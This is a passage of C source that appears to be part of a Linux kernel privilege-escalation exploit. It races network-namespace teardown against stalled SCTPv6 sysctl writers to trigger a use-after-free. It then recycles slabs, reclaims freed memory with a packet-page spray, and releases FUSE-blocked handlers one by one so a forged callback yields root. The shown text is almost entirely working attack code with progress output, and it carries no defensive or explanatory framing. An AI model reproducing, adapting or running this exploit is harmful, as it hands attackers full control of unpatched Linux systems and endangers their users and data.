a dense namespace cohort so cleanup_net sees multiple complete * victim-only SCTPv6 slabs even if it drains the exit list in batches. */ for (int i = 0; i < CHILDREN; i++) command_child(i, CMD_EXIT); /* Race the per-fd writers as soon as teardown is queued, rather than after * waitpid has reaped the entire cohort. Writers that enter before * sctp_ctrlsock_exit() remain harmlessly live; writers entering between * that callback and sctp_defaults_exit() stall before reloading ctl_sock * and retain the vulnerable UAF window. */ atomic_store_explicit(&writer_launch, 1, memory_order_release); futex_wake_all(&writer_launch); wait_until_not(&fault_sync.seen, 0); for (int i = 0; i < CHILDREN; i++) { int status; if (waitpid(controls[i].pid, &status, 0) != controls[i].pid || !WIFEXITED(status) || WEXITSTATUS(status)) die("victim child %d exit status %#x", i, status); } packet_spray_pid = fork(); if (packet_spray_pid < 0) die("fork packet spray: %s", strerror(errno)); if (!packet_spray_pid) packet_spray_process(pivot); wait_until_not(&spray_sync->ready, 0); /* waitpid returns before asynchronous cleanup_net completes. */ printf("[+] cleanup raced against %d launched sysctl calls\n", atomic_load_explicit(&writers_entered, memory_order_acquire)); /* Socket destruction is RCU-deferred. Keep the vulnerable handlers * stalled until full victim slabs have reached the buddy allocator. */ sleep(RCU_WAIT_SECONDS); /* Cycle the SCTPv6 per-CPU freelist after the target sockets' RCU frees. * Without this pass, completely free target slabs can remain hidden as * the CPU slab and never reach the node partial list/buddy allocator. */ for (int pass = 0; pass < RECYCLE_PASSES; pass++) { for (int i = 0; i < 2; i++) if (pthread_create(&recycler_threads[i], NULL, recycle_sctpv6_cpu, &recycler_cpus[i])) die("pthread_create CPU%d recycler", recycler_cpus[i]); for (int i = 0; i < 2; i++) (void)pthread_join(recycler_threads[i], NULL); /* Each pass's sockets are RCU-freed. A second pass rotates out * whichever empty slab remained as the CPU slab after the first. */ sleep(RCU_WAIT_SECONDS); printf("[+] completed SCTPv6 dual-CPU recycle pass %d/%d\n", pass + 1, RECYCLE_PASSES); } /* Seed only after the long RCU/recycle phase, then keep the dedicated * CPU1 task spinning until the callback fires. The readiness pipe makes * this independent of scheduler latency from the large writer cohort. */ if (pipe2(seeder_ready, O_CLOEXEC) < 0) die("pipe CEA seeder: %s", strerror(errno)); for (int i = 0; i < CEA_SEEDER_COUNT; i++) { cea_seeder_pids[i] = fork(); if (cea_seeder_pids[i] < 0) die("fork CEA seeder %d: %s", i, strerror(errno)); if (!cea_seeder_pids[i]) { close(seeder_ready[0]); run_cea_seeder(seeder_ready[1]); } } close(seeder_ready[1]); for (int i = 0; i < CEA_SEEDER_COUNT; i++) if (read(seeder_ready[0], &seeder_byte, 1) != 1 || seeder_byte != 'S') die("CEA seeder %d failed to become runnable", i); close(seeder_ready[0]); /* Both spray and CEA processes were forked after prepare_user_return(), * which re-protected the private anonymous stack pages for COW. Break * that COW now so post_root's first push cannot fault while returning * from a callback with the socket lock's preempt count still elevated. */ memset(user_stack, 0, 0x20000); /* Allow at least one local timer interrupt to save the payload. */ usleep(300000); atomic_store_explicit(&spray_sync->go, 1, memory_order_release); futex_wake_all(&spray_sync->go); while (atomic_load_explicit(&spray_sync->progress, memory_order_acquire) < RING_COUNT) usleep(1000); /* Packet pages now permanently own every victim slab that reached the * buddy allocator. Refill the residual SCTPv6 freelists with live, * same-type sockets and retain them: a stalled handler whose old object * never left SLUB then sees a valid endpoint/proto and returns harmlessly, * while an object backed by a reclaimed packet page still reaches the * forged callback. */ for (int i = 0; i < 2; i++) if (pthread_create(&recycler_threads[i], NULL, retain_sctpv6_guards_cpu, &recycler_cpus[i])) die("pthread_create CPU%d guard", recycler_cpus[i]); for (int i = 0; i < 2; i++) (void)pthread_join(recycler_threads[i], NULL); printf("[+] retained %d live SCTPv6 guard sockets\n", 2 * GUARD_SOCKETS_PER_CPU); puts("[+] reclaim spray complete; resuming stalled handler"); sleep(1); { unsigned char page[4096] = { '1', '\n' }; int queued = atomic_load_explicit(&fault_sync.seen, memory_order_acquire); printf("[+] resolving %d isolated stalled sysctl candidates\n", queued); /* Later arrivals are the handlers most likely to have sampled the raw * control-socket pointer inside the teardown window. Release only one * FUSE page at a time. A winning iret replaces this process; all other * pages remain blocked and are aborted by post_root(). */ for (int position = 0; position < queued; position++) { int index = fault_sync.order[position]; uint64_t unique = atomic_load_explicit( &fault_sync.unique[index], memory_order_acquire); if (!atomic_exchange_explicit(&fault_sync.pending[index], 0, memory_order_acq_rel)) continue; fuse_reply(unique, page, sizeof(page)); for (int tick = 0; tick < 200; tick++) { if (atomic_load_explicit(&fault_sync.done[index], memory_order_acquire)) break; usleep(1000); } } } atomic_store(&writers_stop, 1); kill(packet_spray_pid, SIGKILL); for (int i = 0; i < CEA_SEEDER_COUNT; i++) kill(cea_seeder_pids[i], SIGKILL); (void)umount2("/tmp/_neb-fuse", MNT_DETACH); close(fault_sync.fuse_fd); (void)pthread_join(fuse_thread, NULL); for (int i = 0; i < CHILDREN; i++) (void)pthread_join(stalled_threads[i], NULL); die("stalled CFH completed without root"); }